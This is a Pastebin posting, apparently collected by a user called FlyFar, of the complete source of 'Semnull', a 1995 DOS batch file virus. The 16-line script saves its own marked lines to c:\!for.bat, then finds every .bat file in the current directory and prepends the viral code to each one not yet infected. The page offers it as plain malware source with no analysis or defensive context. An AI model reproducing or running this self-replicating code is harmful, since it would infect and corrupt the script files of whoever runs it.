Advertisement
FlyFar

Semnull - Batch File Virus - Third Issue - October 19, 1995

Mar 14th, 2023
1,201
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Batch 0.33 KB | Cybersecurity | 0 0
  1. @echo off>nul.FoR
  2. if '%1=='InF goto FoRi
  3. if exist c:\!for.bat goto FoRs
  4. if not exist %0.bat goto FoRe
  5. find "FoR"<%0.bat>c:\!for.bat
  6. :FoRs
  7. FoR %%a in (*.bat) do call c:\!for InF %%a
  8. goto FoRe
  9. :FoRi
  10. find "FoR"<%2>nul
  11. if not errorlevel 1 goto FoRe
  12. type c:\!for.bat>FoR.t
  13. type %2>>FoR.t
  14. move FoR.t %2>nul
  15. :FoRe
  16. :: host follows...
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement